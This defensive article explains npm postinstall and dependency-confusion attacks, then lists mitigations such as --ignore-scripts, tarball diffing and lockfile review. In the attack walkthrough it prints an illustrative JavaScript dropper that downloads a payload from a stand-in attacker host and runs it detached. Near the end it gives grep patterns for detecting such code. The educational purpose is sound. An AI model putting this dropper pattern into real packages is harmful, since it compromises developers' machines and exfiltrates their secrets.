npm postinstall Attacks: How They Work in 2026

How npm Lifecycle Hooks Work

• preinstall: runs before the package's dependencies are installed
• install: runs during the install step itself (rarely used directly)
• postinstall: runs after the package and its dependencies finish installing

{
  "name": "some-package",
  "scripts": {
    "postinstall": "node scripts/setup.js"
  }
}

Anatomy of a Real Attack

1. 1

   Register npm packages under lookalike organizational scopes

   The attacker registers npm packages under scopes that mirror real internal corporate namespaces. The campaign Microsoft tracked used names like @cloudplatform-single-spa and @payments-widget, deliberately designed to look like internal tooling a company would already have in its own dependency tree.

2. 2

   Inflate the version number to win dependency resolution

   The attacker sets an unusually high version number, like 100.100.100, specifically to win npm's dependency resolution against any real internal package of the same name. This is dependency confusion: if your build tooling checks the public registry and finds a "newer" version than your internal one, it may silently pull the malicious public package instead.

3. 3

   Declare a postinstall hook on every malicious package

   Every package in the malicious set declares a postinstall hook that points at an obfuscated script:

   json — package.jsonCopy

   {
     "scripts": {
       "postinstall": "node scripts/postinstall.js"
     }
   }

4. 4

   The obfuscated script calls out to a C2 server

   When npm install runs, this triggers execution of the obfuscated postinstall.js file. In the documented case, this script made an HTTPS request to an attacker-controlled command-and-control server, wrote a payload to a temp directory, and spawned it as a detached background process.

   The snippet below illustrates the general shape of this pattern. It is not a verbatim reproduction of any specific dropper, but the steps line up with what has been documented across multiple campaigns:

   javascript — scripts/postinstall.jsCopy

   // Illustrative pattern seen across multiple 2026 postinstall campaigns
   const https = require("https");
   const fs = require("fs");
   const path = require("path");
   const { spawn } = require("child_process");
   const os = require("os");
   
   https.get("https://attacker-c2-domain.example/payload", (res) => {
     const chunks = [];
     res.on("data", (c) => chunks.push(c));
     res.on("end", () => {
       const payloadPath = path.join(os.tmpdir(), ".cache-worker");
       fs.writeFileSync(payloadPath, Buffer.concat(chunks));
   
       // Spawned detached so it survives the parent npm process exiting
       spawn("node", [payloadPath], {
         detached: true,
         stdio: "ignore",
       }).unref();
     });
   });

5. 5

   The spawned payload exfiltrates environment data

   The spawned payload performs environment reconnaissance, collecting system information, hostnames, environment variables, and developer context, then exfiltrates that data back to the C2 server.

Why These Attacks Are Hard to Catch

• Legitimate cover: because some real packages genuinely need postinstall for native compilation or browser downloads, a security tool that flags every postinstall script produces enough false positives that teams learn to ignore the warnings
• Obfuscation: documented campaigns use hex encoding, base64 encoding, and XOR-based string manipulation to hide what the postinstall script actually does from a casual code review; a 17KB obfuscated dropper does not look like much until you decode it
• Cross-ecosystem placement: the Packagist campaign from May 2026 is a sharp example. The malicious code was placed in package.json, a JavaScript ecosystem file, inside PHP (Composer) packages, and security reviewers auditing PHP dependencies typically check composer.json without thinking to also inspect a bundled package.json used only for frontend build tooling
• Branch-tracking package resolution: some package managers resolve branch-tracking versions like dev-main directly from a repository's current state, so if an attacker compromises the source repository rather than the registry, the malicious code goes live the moment the branch updates, with no new "publish" event to flag

What You Can Actually Do About It

1. 1

   Audit new dependencies for install hooks before adding them

   Before running npm install <new-package>, check whether it declares an install-time hook:

   bashCopy

   npm view <package-name> scripts

   If you see preinstall, install, or postinstall listed, understand why it is there before proceeding. A native module compiling with node-gyp is normal. An unexplained script is a reason to look closer.

2. 2

   Default to --ignore-scripts, allowlist what actually needs it

   bashCopy

   npm install --ignore-scripts

   This disables lifecycle script execution for every package in the install. For packages that genuinely need postinstall, like native modules or Puppeteer's browser downloader, maintain an explicit allowlist rather than disabling the protection wholesale. Tools like LavaMoat's allow-scripts package help manage this allowlist systematically instead of an all-or-nothing toggle.

3. 3

   Diff the published tarball against the source repository

   bashCopy

   npm pack <package-name>
   tar -xf <package-name>-<version>.tgz
   diff -r package/ <path-to-cloned-repo>/

   This is the only reliable way to catch the "clean GitHub repo, dirty npm tarball" pattern. It is manual, but for any dependency you are adding that handles sensitive operations or runs in CI with elevated credentials, it is worth the ten minutes.

4. 4

   Set a minimum package age policy for new dependency versions

   Many organizations now require newly published package versions to "age" for a set period, commonly 24 to 72 hours, before being pulled into builds. This gives the community time to catch and report a malicious release before your CI pipeline touches it. Some registries and proxies support this natively; others require a dependency firewall like Verdaccio configured with a publish delay.

5. 5

   Monitor CI/CD logs for unexpected outbound network calls during install

   If your build logs suddenly show network requests to unfamiliar domains during an npm install step, that is a signal worth investigating immediately, not filing away for later. Documented attacks reach out to C2 servers within seconds of the postinstall script executing.

6. 6

   Review lockfile diffs in every pull request, not just package.json

   A change to package-lock.json, yarn.lock, or pnpm-lock.yaml that adds an unexpected transitive dependency, or bumps a version unusually, is worth a second look. Automated dependency update bots like Dependabot and Renovate are useful, but do not skip reviewing what they actually changed in the lockfile.

   Before merging, it also helps to check your package.json for outdated deps and CVEs, since a stale dependency graph is often exactly where a dependency-confusion attack finds room to slot in an inflated version number.

A Quick Manual Check You Can Run Right Now

# Find all packages in node_modules with install-time hooks
find node_modules -name "package.json" -maxdepth 2 -exec grep -l '"postinstall"\|"preinstall"' {} \;

# Check those postinstall scripts for common suspicious patterns
find node_modules -name "package.json" -maxdepth 2 \
  -exec grep -l '"postinstall"' {} \; | while read f; do
    dir=$(dirname "$f")
    grep -rn "eval(atob(\|child_process.*spawn.*detached\|curl.*-s.*http" "$dir" 2>/dev/null
  done

# Look for suspiciously long base64-like strings in JS files
# (a common signal of an obfuscated payload)
grep -rEn "[A-Za-z0-9+/]{200,}={0,2}" --include="*.js" node_modules 2>/dev/null | head -20

When --ignore-scripts Breaks Legitimate Packages

npm install --ignore-scripts

npm view <package-name> scripts